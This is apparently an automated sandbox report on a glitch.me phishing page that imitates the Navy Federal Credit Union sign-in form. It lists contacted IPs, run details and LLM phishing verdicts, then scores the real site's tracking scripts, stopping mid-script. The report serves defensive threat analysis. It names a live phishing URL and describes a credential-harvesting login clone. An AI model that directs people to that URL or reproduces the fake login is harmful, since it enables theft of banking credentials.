https://dm-assets.navyfederal.org/is/content/nfcu/chat-2?ts=1701357209369&dpr=off	chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/image/nfcu/A31857_Petrosino_MAM?qlt=80&wid=%7B.width%7D&amp	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown
https://www.enable-javascript.com	chromecache_288.2.dr, chromecache_463.2.dr, chromecache_233.2.dr	false	Avira URL Cloud: safe	unknown
https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-loan?ts=1713989635276&dpr=off	chromecache_288.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.228.84.202	unknown	United States	16509	AMAZON-02US	false
54.85.195.106	mid.rkdms.com	United States	14618	AMAZON-AESUS	false
13.32.110.77	dosnujlvxkgze.cloudfront.net	United States	16509	AMAZON-02US	false
52.222.149.58	unknown	United States	16509	AMAZON-02US	false
151.101.2.27	dualstack.brightcove.map.fastly.net	United States	54113	FASTLYUS	false
41.63.96.0	brightcove.hs.llnwd.net	South Africa	22822	LLNWUS	false
18.211.251.153	events.api.boomtrain.com	United States	14618	AMAZON-AESUS	false
66.235.152.225	adobetarget.data.adobedc.net	United States	15224	OMNITUREUS	false
34.160.236.64	tagr-pixel-nginx-odr-euw4.mookie1.com	United States	2686	ATGS-MMD-ASUS	false
77.243.51.122	uip.semasio.net	Denmark	42697	NETIC-ASDK	false
64.202.112.255	nydc1.outbrain.org	United States	22075	AS-OUTBRAINUS	false
35.156.5.22	usersync.samplicio.us	United States	16509	AMAZON-02US	false
198.47.127.205	pug-ams-bc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
151.101.66.217	dualstack.osff.map.fastly.net	United States	54113	FASTLYUS	false
157.240.252.13	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
107.21.124.38	idaas-ext.cph.liveintent.com	United States	14618	AMAZON-AESUS	false
34.254.143.3	load-euw1.exelator.com	United States	16509	AMAZON-02US	false
18.239.69.60	dt9s2nur7u2e9.cloudfront.net	United States	16509	AMAZON-02US	false
18.239.18.108	d8ghbpr3r4dzt.cloudfront.net	United States	16509	AMAZON-02US	false
18.239.69.3	sync.intentiq.com	United States	16509	AMAZON-02US	false
13.248.245.213	unknown	United States	16509	AMAZON-02US	false
18.239.69.67	dh29jf0q5erm3.cloudfront.net	United States	16509	AMAZON-02US	false
157.240.0.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
3.141.243.186	unknown	United States	16509	AMAZON-02US	false
172.217.18.6	unknown	United States	15169	GOOGLEUS	false
34.242.54.113	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
34.247.233.198	usersync.gumgum.com	United States	16509	AMAZON-02US	false
35.244.174.68	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
34.200.140.231	unknown	United States	14618	AMAZON-AESUS	false
151.101.192.84	prod.pinterest.global.map.fastly.net	United States	54113	FASTLYUS	false
3.90.71.22	unknown	United States	14618	AMAZON-AESUS	false
18.239.18.40	drs4arwg3y39c.cloudfront.net	United States	16509	AMAZON-02US	false
185.89.210.212	unknown	Germany	29990	ASN-APPNEXUS	false
34.236.18.253	partners-alb-1113315349.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
52.49.45.15	bcp.crwdcntrl.net	United States	16509	AMAZON-02US	false
54.78.254.47	unknown	United States	16509	AMAZON-02US	false
35.244.232.184	metrics.brightcove.com	United States	15169	GOOGLEUS	false
52.49.81.5	io.narrative.io	United States	16509	AMAZON-02US	false
142.250.185.166	dart.l.doubleclick.net	United States	15169	GOOGLEUS	false
87.248.119.252	edge.gycpi.b.yahoodns.net	United Kingdom	203220	YAHOO-DEBDE	false
35.186.196.148	sync.rfp.fout.jp	United States	15169	GOOGLEUS	false
63.140.39.93	unknown	United States	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
18.244.179.91	unknown	United States	16509	AMAZON-02US	false
141.226.228.48	am-vip001.taboola.com	Israel	200478	TABOOLA-ASIL	false
99.83.205.94	p.tvpixel.com	United States	16509	AMAZON-02US	false
34.240.251.94	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
54.84.230.88	track2.securedvisit.com	United States	14618	AMAZON-AESUS	false
54.159.213.190	unknown	United States	14618	AMAZON-AESUS	false
54.88.101.193	b.videoamp.com	United States	14618	AMAZON-AESUS	false
52.44.96.219	idaas6.cph.liveintent.com	United States	14618	AMAZON-AESUS	false
54.171.118.212	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
54.242.45.75	unknown	United States	14618	AMAZON-AESUS	false
54.211.255.43	prod-lciapi.aws.9dev.io	United States	14618	AMAZON-AESUS	false
176.34.167.98	unknown	Ireland	16509	AMAZON-02US	false
52.46.130.91	unknown	United States	16509	AMAZON-02US	false
75.2.57.54	unknown	United States	16509	AMAZON-02US	false
172.217.16.130	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
149.202.238.105	unknown	France	16276	OVHFR	false
149.202.238.104	rtb-csync-euw2.smartadserver.com	France	16276	OVHFR	false
18.238.243.70	live.rezync.com	United States	16509	AMAZON-02US	false
46.228.174.117	sync.1rx.io	United Kingdom	56396	TURNGB	false
37.252.171.21	unknown	European Union	29990	ASN-APPNEXUS	false
34.252.112.229	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.17.127.254	dmp.truoptik.com	United States	13335	CLOUDFLARENETUS	false
54.220.158.112	unknown	United States	16509	AMAZON-02US	false
18.239.69.99	sync1.intentiq.com	United States	16509	AMAZON-02US	false
35.204.158.49	unknown	United States	15169	GOOGLEUS	false
52.215.230.136	euw-ice.360yield.com	United States	16509	AMAZON-02US	false
18.195.126.233	match-eu-central-1-ecs.sharethrough.com	United States	16509	AMAZON-02US	false
52.54.118.196	people.api.boomtrain.com	United States	14618	AMAZON-AESUS	false
104.115.82.33	trkn.us	United States	20940	AKAMAI-ASN1EU	false
18.210.59.152	delicious-decorous-army.glitch.me	United States	14618	AMAZON-AESUS	false
99.86.91.72	unknown	United States	16509	AMAZON-02US	false
195.80.159.133	l2.io	France	29152	DECKNET-ASFR	false
95.101.111.156	unknown	European Union	12956	TELEFONICATELXIUSES	false
212.102.56.182	1605158521.rsc.cdn77.org	Italy	60068	CDN77GB	false
142.250.184.226	unknown	United States	15169	GOOGLEUS	false
18.199.24.49	crb.kargo.com	United States	16509	AMAZON-02US	false
18.239.69.121	unknown	United States	16509	AMAZON-02US	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.34	adservice.google.com	United States	15169	GOOGLEUS	false
188.65.124.66	public-prod-dspcookiematching.dmxleo.com	France	41690	DAILYMOTIONForpeeringrelatedbusinesspleasemailpeerin	false
142.250.184.198	unknown	United States	15169	GOOGLEUS	false
54.36.150.187	lb.mediarithmics.com	France	16276	OVHFR	false
13.32.27.111	d32t1bob6d76al.cloudfront.net	United States	7018	ATT-INTERNET4US	false
3.75.62.37	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	United States	16509	AMAZON-02US	false
18.158.246.105	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.244.42.133	unknown	United States	13414	TWITTERUS	false
185.89.210.122	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
104.244.42.131	unknown	United States	13414	TWITTERUS	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
63.140.39.22	navyfederal.org.ssl.d1.sc.omtrdc.net	United States	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
198.47.127.19	pugm-amsfpairbc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
35.214.185.183	envoy-hl.envoy-csync1.core-b8mf.ov1o.com	United States	19527	GOOGLE-2US	false
216.239.36.54	us-central1-adaptive-growth.cloudfunctions.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447434
Start date and time:	2024-05-25 00:44:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@51/552@409/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML#end-header Browse: https://www.navyfederal.org/ Browse: https://www.navyfederal.org/branches-atms/index.php Browse: https://www.navyfederal.org/contact-us/

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 64.233.167.84, 142.250.185.142, 34.104.35.123, 172.217.16.202, 142.250.184.202, 172.217.18.10, 172.217.16.138, 142.250.185.74, 142.250.186.42, 142.250.186.170, 216.58.212.170, 142.250.181.234, 142.250.186.138, 172.217.18.106, 216.58.206.74, 142.250.186.74, 142.250.186.106, 216.58.212.138, 172.217.23.106, 40.68.123.157, 199.232.214.172, 192.229.221.95, 2.18.64.20, 2.18.64.14, 13.95.31.18, 23.211.8.45, 2.18.64.23, 20.242.39.171, 204.79.197.237, 13.107.21.237, 142.250.185.136, 63.34.17.39, 52.30.166.91, 52.209.221.170, 2.18.64.220, 2.18.64.212, 13.107.42.14, 2.16.238.145, 2.16.238.134, 193.0.160.131, 69.173.144.139, 69.173.144.165, 69.173.144.138, 193.0.160.130, 178.249.97.23, 142.250.185.130, 2.23.197.190, 178.249.97.99, 34.120.154.120, 2.19.104.189, 208.89.12.87, 72.246.169.24, 142.250.185.202, 142.250.184.234, 142.250.185.138, 142.250.185.106, 216.58.206.42, 142.250.185.170, 142.250.185.234, 104.18.36.18, 172.64.151.238, 142.250.185.195, 142.250.186.67
Excluded domains from analysis (whitelisted): tags.bluekai.com.edgekey.net, uipglob.trafficmanager.net, j.sni.global.fastly.net, slscr.update.microsoft.com, cn-assets.adobedtm.com.edgekey.net, e115885.dsca.akamaiedge.net, clientservices.googleapis.com, l-0005.l-msedge.net, e9126.x.akamaiedge.net, clients2.google.com, ocsp.digicert.com, lm-fr.eyeblaster.akadns.net, update.googleapis.com, rtb-csync-geo.usersync-prod-sas.akadns.net, wu-b-net.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, content-autofill.googleapis.com, cm.everesttech.net.akadns.net, geo.va-v.livepersonk.akadns.net, e4016.a.akamaiedge.net, a-emea.rfihub.com.akadns.net, od.linkedin.edgesuite.net, www.navyfederal.org.edgekey.net, www.pinterest.com.edgekey.net, players.brightcove.net.edgekey.net, edgedl.me.gvt1.com, map.media6degrees.com.cdn.cloudflare.net, clients.l.google.com, maps.gstatic.com, convex-rr.global.dual.dotomi.weighted.com.akadns.net, a1916.dscg2.akamai.net, bat-bing-com.dual-a-0034.a-msedge.net, www.googleadservices.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML

Input	Output
URL: about:srcdoc Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": true, "reasons": [ "The text contains the phrase 'Sign In' three times, which is a common label for login forms.", "The text contains the words 'Username' and 'Password', which are common input fields for login forms.", "The text contains the phrase 'Welcome to Digital Banking', which suggests that this is a login form for a digital banking platform." ] }
NAVY @ ARMY MARINE CORPS FEDERAL AIR FORCE COAST GUARD Credit Union Routing Number: 256074974 Locations Contact Us VETERANS Welcome to Digital Banking Sign In Username Password Sign In Sign In He12
URL: about:srcdoc Model: gpt-4o	```json { "phishing_score": 9, "brands": "Navy Federal Credit Union", "phishing": true, "suspicious_domain": true, "has_loginform": true, "has_captcha": false, "setechniques": true, "reasons": "The URL 'about:srcdoc' is highly suspicious as it is not a valid domain and is often used in phishing attacks. The page contains a login form, which is a common element in phishing sites. The brand name 'Navy Federal Credit Union' is used, but the URL does not match the legitimate domain name associated with this brand." }

URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code defines a digitalData object for tracking page information, categories, and internal search terms. It does not contain any malicious elements or behaviors." }
digitalData={ page:{ pageInfo:{ pageName:"nfo:home", toolType:"", }, category:{ siteSection1:"nfo", siteSection2:"", siteSection3:"", }, internalSearch:{ searchTerm:"" } } }
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code modifies the href attribute of certain anchor tags by appending a query parameter. This behavior is typical for navigation tracking or UI customization and does not exhibit any malicious characteristics." }
//Target Test Code Start const boldLinks = document.querySelectorAll('a.global-nav__link_bold'); boldLinks.forEach(boldLink => { if(boldLink.href){ var bhref = boldLink.getAttribute('href'); bhref += (bhref.indexOf('?') != -1) ? '&nav=bold' : '?nav=bold'; boldLink.setAttribute('href', bhref ); }}); // #Target Test Code End
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external script from 'https://live.rezync.com'. While this could be legitimate, dynamically loading external scripts can pose a security risk if the external source is compromised. However, there are no immediate signs of malicious activity in the provided code." }
_satellite["_runScript9"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// function zync_call() { var z = document.createElement("script"); var zmpID="navy-federal-credit-union"; var cache_buster="{cache_buster}"; var z_src = "https://live.rezync.com/sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID="+zmpID+"&cache_buster="+cache_buster; z.setAttribute("src", z_src); document.body.appendChild(z); } if (['complete', 'interactive'].indexOf(document.readyState) >= 0) { zync_call(); } else { window.addEventListener("DOMContentLoaded", function(){ zync_call(); }); } } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is a prehiding snippet for Adobe Target with asynchronous Launch deployment. It temporarily hides the body of the webpage to prevent flickering during content updates. This is a common practice for improving user experience and does not pose any security risks." }
//prehiding snippet for Adobe Target with asynchronous Launch deployment (function (g, b, d, f) { (function (a, c, d) { if (a) { var e = b.createElement("style"); e.id = c; e.innerHTML = d; a.appendChild(e) } })(b.getElementsByTagName("head")[0], "at-body-style", d); setTimeout(function () { var a = b.getElementsByTagName("head")[0]; if (a) { var c = b.getElementById("at-body-style"); c && a.removeChild(c) } }, f) })(window, document, "body {opacity: 0 !important}", 3E3);
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The JavaScript code primarily checks for GPC (Global Privacy Control) status and restricted state, and then conditionally loads a Twitter tracking pixel script. There is no evidence of malicious behavior such as data exfiltration, credential harvesting, or unauthorized access to sensitive information. The presence of tracking functionality is noted but not considered a risk." }
_satellite["_runScript15"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='//static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); // Insert Twitter Pixel ID and Standard Event data below twq('init','o4vdx'); twq('track','PageView');} });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code checks for certain conditions related to GPC (Global Privacy Control) status and Akamai restricted state. If these conditions are not met, it initializes Google Tag Manager (gtag) for tracking purposes. There is no evident malicious behavior in the provided code snippet." }
//// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'DC-9749892');}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily checks for certain conditions related to GPC (Global Privacy Control) status and initializes Facebook tracking with an external ID. There is no immediate indication of malicious activity. The risk score is low due to the absence of harmful operations, but it is not zero because it involves external tracking which could potentially be misused." }
//// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// fbq('dataProcessingOptions',[]); var externalID = _satellite.getVar('ECID') //Added External ID Code for deduplication of facebook conversion API and Facebook Pixel. //125275241484882 provided by agency fbq('init', '125275241484882', {external_id: 'externalID'});}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily deals with tracking and advertisement functionality, which is considered no risk. There is no evident malicious behavior such as data exfiltration, credential stealing, or unauthorized access attempts." }
//// Condition to validate GPC Status starts ////// //var GPC_Status = _satellite.getVar("GPC_Status").toString(); //var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); //if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// window.onload = function() {var _pix = document.getElementById('_pix_id_6cb2375c-3341-8cb2-b12d-8b0616d5966e'); if (!_pix) { var protocol = '//'; var a = Math.random() * 1000000000000000000; _pix = document.createElement('iframe'); _pix.style.display = 'none'; _pix.setAttribute('src', protocol + 's.amazon-adsystem.com/iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E' + '&cb=' + a); _pix.setAttribute('id','_pix_id_6cb2375c-3341-8cb2-b12d-8b0616d5966e'); document.body.appendChild(_pix);}} //}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external JavaScript file from a third-party domain (c1.rfihub.net). While this is a common practice for loading tracking or advertisement scripts, it can potentially be risky if the external script is compromised. However, there are no immediate signs of malicious behavior in the provided code itself." }
(function() { var w = window, d = document; var s = d.createElement('script'); s.setAttribute('async', 'true'); s.setAttribute('type', 'text/javascript'); s.setAttribute('src', '//c1.rfihub.net/js/tc.min.js'); var f = d.getElementsByTagName('script')[0]; f.parentNode.insertBefore(s, f); if (typeof w['_rfi'] !== 'function') { w['_rfi']=function() { w['_rfi'].commands = w['_rfi'].commands \|\| []; w['_rfi'].commands.push(arguments); }; } _rfi('setArgs', 'ver', '9'); _rfi('setArgs', 'rb', '39468'); _rfi('setArgs', 'ca', '20843995'); _rfi('setArgs', '_o', '39468'); _rfi('setArgs', '_t', '20843995'); _rfi('setArgs', 'userid', '357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698'); _rfi('track'); })();
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code primarily deals with LinkedIn tracking and analytics functionality, which is generally considered low risk. It checks for certain conditions related to GPC (Global Privacy Control) and Akamai restricted state before executing the tracking code. There is no evidence of malicious behavior such as data exfiltration, credential stealing, or unauthorized access." }
_satellite["_runScript5"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var img = document.createElement('img'); _linkedin_partner_id = "5351114"; window._linkedin_data_partner_ids = window._linkedin_data_partner_ids \|\| []; window._linkedin_data_partner_ids.push(_linkedin_partner_id); (function(l) { if (!l){window.lintrk = function(a,b){window.lintrk.q.push([a,b])}; window.lintrk.q=[]} var s = document.getElementsByTagName("script")[0]; var b = document.createElement("script"); b.type = "text/javascript";b.async = true; b.src = 'https://snap.licdn.com/li.lms-analytics/insight.min.js'; s.parentNode.insertBefore(b, s);})(window.lintrk); img.src='https://px.ads.linkedin.com/collect/?pid=5351114&fmt=gif' img.hidden = true; document.body.appendChild(img); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code primarily deals with tracking and advertisement functionality, which has been deemed as no risk. The code checks for certain conditions related to GPC (Global Privacy Control) status and restricted state, and then sets up tracking events using Google Tag Manager (gtag). There are no indications of malicious activities such as data exfiltration, credential stealing, or unauthorized access." }
// Creation date: 5/7/2020 // //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var doubleClickMultipleValues = { "nfo:home":["nfcuf0","nfcuh0"], "nfo:loans-cards:auto-loans":["nfcuf0","nfcuh0"], "nfo:loans-cards:auto-loans:auto-rates":["nfcuf0","nfcuh0"], "nfo:loans-cards:auto-loans:auto-refinance-rates":["nfcuf0","nfcuh0"], "nfo:membership:geico":["nfcuf0","nfcuh0"] } var pages = Object.keys(doubleClickMultipleValues); var pixelValues = Object.values(doubleClickMultipleValues); var pn = _satellite.getVar("Page Name"); for (var i =0; i < pages.length; i++){ var currentPage = pages[i]; if (pn == currentPage){ var currentType = pixelValues[i][0]; var currentCat = pixelValues[i][1]; gtag('event', 'conversion', { 'allow_custom_scripts': true, 'send_to': 'DC-2992003/'+currentType+'/'+currentCat+'+standard' }); } }}
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily checks for certain conditions related to GPC (Global Privacy Control) status and restricted state, and then loads a Twitter tracking script if the conditions are not met. The presence of tracking functionality is considered no risk as per the given instructions. No malicious behavior such as data exfiltration, credential stealing, or unauthorized access was detected." }
_satellite["_runScript13"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='https://static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); twq('config','o4vdx'); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily includes tracking functionality for LinkedIn, which is not considered a risk. The only other functionality is checking some variables related to GPC (Global Privacy Control) and Akamai Restricted State, which does not appear to be malicious." }
_satellite["_runScript14"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var img = document.createElement('img'); _linkedin_partner_id = "5351114"; window._linkedin_data_partner_ids = window._linkedin_data_partner_ids \|\| []; window._linkedin_data_partner_ids.push(_linkedin_partner_id); (function(l) { if (!l){window.lintrk = function(a,b){window.lintrk.q.push([a,b])}; window.lintrk.q=[]} var s = document.getElementsByTagName("script")[0]; var b = document.createElement("script"); b.type = "text/javascript";b.async = true; b.src = 'https://snap.licdn.com/li.lms-analytics/insight.min.js'; s.parentNode.insertBefore(b, s);})(window.lintrk); img.src='https://px.ads.linkedin.com/collect/?pid=5351114&fmt=gif' img.hidden = true; document.body.appendChild(img); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external JavaScript file from 'https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js'. While this could be legitimate, dynamically loading external scripts can pose a security risk if the external source is compromised. However, there are no obvious signs of malicious behavior in the provided code itself." }
_satellite["_runScript1"](function(event, target, Promise) { /* Excluding Mortgage and Auto Loan for Initial Implementation "nfo:loans-cards:auto-loans" \|\| "nfo:loans-cards:auto-loans:auto-rates" \|\| "nfo:loans-cards:auto-loans:auto-refinance-rates" \|\| "nfo:loans-cards:mortgage" \|\| "nfo:loans-cards:mortgage:mortgage-rates:va-loans */ var pageName = _satellite.getVar('Page Name') if ( pageName == "nfo:membership:become-a-member" \|\| "nfo:loans-cards:credit-cards" \|\| "nfo:loans-cards:credit-cards:cash-rewards" \|\| "nfo:loans-cards:credit-cards:more-rewards" \|\| "nfo:loans-cards:credit-cards:flagship-visa-signature" \|\| "nfo:loans-cards:credit-cards:go-rewards" \|\| "nfo:loans-cards:credit-cards:platinum" ) { (function(a,b,c,d,e,f,g){e['ire_o']=c;e[c]=e[c]\|\|function(){(e[c].a=e[c].a\|\|[]).push(arguments)};f=d.createElement(b);g=d.getElementsByTagName(b)[0];f.async=1;f.src=a;g.parentNode.insertBefore(f,g);})('https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js','script','ire',document,window); } });
URL: https://www.navyfederal.org/ Model: gpt-4o	```json { "riskscore": 1, "reasons": "The provided JavaScript code primarily deals with setting and checking variables related to GPC (Global Privacy Control) status and some tagging functionality. There is no indication of malicious behavior such as data exfiltration, credential stealing, or unauthorized access. The code appears to be related to tracking and categorizing content, which is considered low risk." }
//// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var doubleClickMultipleValues = { // -------------------Tag Added 05/16/2024--------------------------- "nfo:makingcents:credit-debt:best-first-credit-card":["gener0","makin00e"], "nfo:makingcents:credit-debt:benefits-of-using-a-credit-card":["gener0","makin00d"], // -------------------Tag Added 04/16/2024--------------------------- "nfo:campaigns:membership:military-appreciation-month":["gener0","milit0"], // -------------------Tag Added 01/25/2024--------------------------- "nfis:investments:financial-advisors":["gener0","finan0"], "nfo:checking-savings:savings:retirement-savings:savings-accounts":["checksav","ira_l0"], "nfo:checking-savings:savings:money-market":["checksav","mmsa_000"], // -------------------Tag Added 11/02/2023--------------------------- "nfo:makingcents:savings-budgeting:what-you-need-to-know-about-buy-now--pay-later-loans":["gener0","makin00-"], "nfo:makingcents:savings-budgeting:preparing-for-holiday-spending":["gener0","makin00b"], "nfo:makingcents:savings-budgeting:prepare-for-recession":["gener0","makin008"], "nfo:makingcents:military-life:military-holiday-discounts":["gener0","makin00a"], "nfo:makingcents:savings-budgeting:holiday-overspending-recovery":["gener0","makin00c"], "nfo:makingcents:military-life:are-veterans-benefits-taxable":["gener0","makin009"], // -------------------Tag Added 08/24/2023--------------------------- "nfo:loans-cards:auto-loans:calculators":["gener0","makin006"], "nfo:makingcents:credit-debt:earn-with-a-rewards-card":["gener0","makin002"], "nfo:makingcents:credit-debt:credit-score-to-buy-a-car":["gener0","makin002"], "nfo:makingcents:credit-debt:getting-ahead-of-student-loans":["gener0","makin002"], "nfo:makingcents:home-ownership:how-to-calculate-home-equity-":["gener0","makin000"], "nfo:makingcents:privacy-security:military-scams":["gener0","makin004"], "nfo:makingcents:savings-budgeting:manage-recurring-payments":["gener0","makin00"], // -------------------Tag Added 07/24/2023--------------------------- "nfis:home":["gener0","nfis-0"], // -------------------Tag Added 06/01/2023--------------------------- "nfo:loans-cards:mortgage:homeowner-resources:rate-reduction":["mortgage","mortg00e"], // -------------------Tag Added 03/30/2023 MakingCents--------------------------- "nfo:makingcents:tools":["gener0","makin007"], "nfo:makingcents:savings-budgeting":["gener0","makin00"], 